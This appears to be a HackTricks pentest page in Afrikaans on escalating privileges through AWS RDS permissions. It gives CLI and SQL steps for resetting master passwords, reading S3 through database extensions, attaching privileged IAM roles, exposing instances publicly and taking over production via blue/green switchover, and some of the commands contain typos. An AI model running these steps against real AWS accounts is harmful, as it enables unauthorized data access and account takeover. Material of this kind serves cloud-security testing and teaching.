# AWS - RDS Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## RDS - Relasionele Databasisdiens

Vir meer inligting oor RDS kyk:

{{#ref}}
../../aws-services/aws-relational-database-rds-enum.md
{{#endref}}

### `rds:ModifyDBInstance`

Met daardie toestemming kan 'n aanvaller **die wagwoord van die master user wysig**, en die login binne die databasis:
```bash
# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
```
> [!WARNING]
> Jy sal in staat moet wees om die **databasis te kontak** (hulle is gewoonlik net toeganklik vanaf binne netwerke).

**Potensiële impak:** Vind sensitiewe inligting binne die databasisse.

### rds-db:connect

Volgens die [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) kan 'n gebruiker met hierdie toestemming met die DB-instantie verbind.

### Misbruik RDS Role IAM permissies

#### Postgresql (Aurora)

> [!TIP]
> As jy **`SELECT datname FROM pg_database;`** uitvoer en 'n databasis met die naam **`rdsadmin`** vind, weet jy dat jy binne 'n **AWS postgresql database** is.

Eerstens kan jy nagaan of hierdie databasis gebruik is om toegang tot enige ander AWS diens te kry. Jy kan dit kontroleer deur na die geïnstalleerde uitbreidings te kyk:
```sql
SELECT * FROM pg_extension;
```
As jy iets soos **`aws_s3`** vind, kan jy aanvaar dat hierdie databasis **'n soort toegang tot S3 het** (daar is ander uitbreidings soos **`aws_ml`** en **`aws_lambda`**).

Ook, as jy toestemming het om **`aws rds describe-db-clusters`** uit te voer, kan jy daar sien of die **cluster enige IAM Role aangeheg het** in die veld **`AssociatedRoles`**. As daar enige is, kan jy aanvaar dat die databasis **voorberei is om toegang tot ander AWS-dienste te hê**. Gebaseer op die **naam van die role** (of as jy die **permissions** van die role kan kry) kan jy **raai** watter ekstra toegang die databasis het.

Nou, om **read a file inside a bucket** te lees moet jy die volle pad weet. Jy kan dit lees met:
```sql
// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;
```
As jy **raw AWS credentials** gehad het, kon jy dit ook gebruik om toegang tot S3-data te kry met:
```sql
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);
```
> [!NOTE]
> Postgresql **hoef nie enige parameter group variable te verander nie** om toegang tot S3 te kry.

#### Mysql (Aurora)

> [!TIP]
> Binne 'n mysql, as jy die query **`SELECT User, Host FROM mysql.user;`** uitvoer en daar is 'n gebruiker genaamd **`rdsadmin`**, kan jy aanvaar dat jy binne 'n **AWS RDS mysql db** is.

Binne die mysql voer **`show variables;`** uit, en as veranderlikes soos **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**, waardes het, kan jy aanvaar dat die databasis voorberei is om toegang tot S3-data te kry.

Ook, as jy permissies het om **`aws rds describe-db-clusters`** te voer, kan jy nagaan of die cluster enige **associated role** het, wat gewoonlik toegang tot AWS-dienste beteken).

Nou, om 'n **lêer binne 'n bucket te lees** moet jy die volle pad ken. Jy kan dit lees met:
```sql
CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;
```
### `rds:AddRoleToDBCluster`, `iam:PassRole`

'n aanvaller met die toestemmings `rds:AddRoleToDBCluster` en `iam:PassRole` kan **'n gespesifiseerde rol by 'n bestaande RDS-instansie voeg**. Dit kan die aanvaller **toegang gee tot sensitiewe data** of die data binne die instansie wysig.
```bash
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
```
**Potensiële impak**: Toegang tot sensitiewe data of ongemagtigde wysigings aan die data in die RDS-instansie.\
Let wel dat sommige DBs addisionele konfigurasies benodig, soos Mysql, wat ook vereis dat die role ARN in die parameter groups gespesifiseer word.

### `rds:CreateDBInstance`

Slegs met hierdie toestemming kan 'n aanvaller 'n **nuwe instansie binne 'n cluster** skep wat reeds bestaan en waaraan 'n **IAM role** gekoppel is. Hy sal nie die master user password kan verander nie, maar hy kan moontlik die nuwe database-instansie aan die internet blootstel:
```bash
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible
```
### `rds:CreateDBInstance`, `iam:PassRole`

> [!NOTE]
> TODO: Toets

'n aanvaller met die permissies `rds:CreateDBInstance` en `iam:PassRole` kan **'n nuwe RDS-instansie skep met 'n gespesifiseerde rol aangeheg**. Die aanvaller kan dan moontlik **gevoelige data benader** of die data binne die instansie wysig.

> [!WARNING]
> Some requirements of the role/instance-profile to attach (from [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):

> - Die profiel moet in jou rekening bestaan.
> - Die profiel moet 'n IAM-rol hê wat Amazon EC2 toestemming het om aan te neem.
> - Die instance profile name and the associated IAM role name must start with the prefix `AWSRDSCustom` .
```bash
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
```
**Potential Impact**: Toegang tot sensitiewe data of ongemagtigde wysigings aan die data in die RDS instance.

### `rds:AddRoleToDBInstance`, `iam:PassRole`

'n Aanvaller met die regte `rds:AddRoleToDBInstance` en `iam:PassRole` kan **'n gespesifiseerde rol by 'n bestaande RDS instance voeg**. Dit kan die aanvaller toelaat om **toegang tot sensitiewe data te kry** of die data binne die instance te wysig.

> [!WARNING]
> Die DB instance moet buite 'n cluster wees vir hierdie aksie
```bash
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
```
**Potensiële impak**: Toegang tot sensitiewe data of ongemagtigde wysigings aan die data in die RDS-instansie.

### `rds:CreateBlueGreenDeployment`, `rds:AddRoleToDBCluster`, `iam:PassRole`, `rds:SwitchoverBlueGreenDeployment`

'n Aanvaller met hierdie toestemmings kan 'n produksiedatabasis (Blue) kloon, 'n IAM-rol met hoë voorregte aan die kloon heg (Green), en dan switchover gebruik om die produksie-omgewing te vervang. Dit stel die aanvaller in staat om die databasis se voorregte te verhoog en ongemagtigde toegang tot ander AWS-bronne te verkry.
```bash
# Create a Green deployment (clone) of the production cluster
aws rds create-blue-green-deployment \
--blue-green-deployment-name <name> \
--source <production-db-cluster-arn>

# Attach a high-privilege IAM role to the Green cluster
aws rds add-role-to-db-cluster \
--db-cluster-identifier <green-cluster-id> \
--role-arn <high-privilege-iam-role-arn>

# Switch the Green environment to Production
aws rds switchover-blue-green-deployment \
--blue-green-deployment-identifier <deployment-id>
```
**Potensiële impak**: Volledige oorname van die produksiedatabasis-omgewing. Na die oorskakeling werk die databasis met verhoogde bevoegdhede, wat ongemagtigde toegang vanaf binne die databasis tot ander AWS-dienste (bv. S3, Lambda, Secrets Manager) moontlik maak.

{{#include ../../../../banners/hacktricks-training.md}}
